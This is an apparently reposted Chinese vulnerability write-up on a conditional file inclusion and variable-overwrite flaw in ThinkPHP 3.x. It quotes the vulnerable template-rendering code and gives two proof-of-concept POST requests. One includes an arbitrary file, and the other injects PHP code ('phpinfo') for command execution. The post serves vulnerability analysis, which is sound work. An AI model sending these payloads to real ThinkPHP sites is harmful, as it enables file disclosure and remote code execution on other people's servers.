thinkphp 3.x下的任意文件包含(有条件)分析

漏洞原理

实现自己的模版引擎不当,在模版渲染的情况下存在任意变量覆盖漏洞。。

 

漏洞详情

漏洞位置1

ThinkPHP/Library/Think/View.class.php

需要修改配置文件 指定TMPL_ENGINE_TYPE为php

 if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($content)?include $templateFile:eval('?>'.$content); 

 

漏洞位置2

ThinkPHP/Library/Think/Storage/Driver/File.class.php

	/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void */ public function load($filename,$vars=null){ if(!is_null($vars)) extract($vars, EXTR_OVERWRITE); include $filename; } 

 

 

漏洞复现

 

扫描二维码关注公众号,回复: 84529 查看本文章

漏洞服务端代码:

public function test(){ $this->assign($_POST); echo $this->fetch(); } 

 

 

漏洞验证请求:对于漏洞位置2

 

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

filename=license.txt

 

 

调用堆栈

 

漏洞验证请求:对于漏洞位置1 ,可以命令执行

POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
Host: 192.168.1.24
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

content=<?php phpinfo();

 

 

调用堆栈

 

参考:

https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw

猜你喜欢

转载自www.cnblogs.com/icez/p/thinkphp_3_x_file_include.html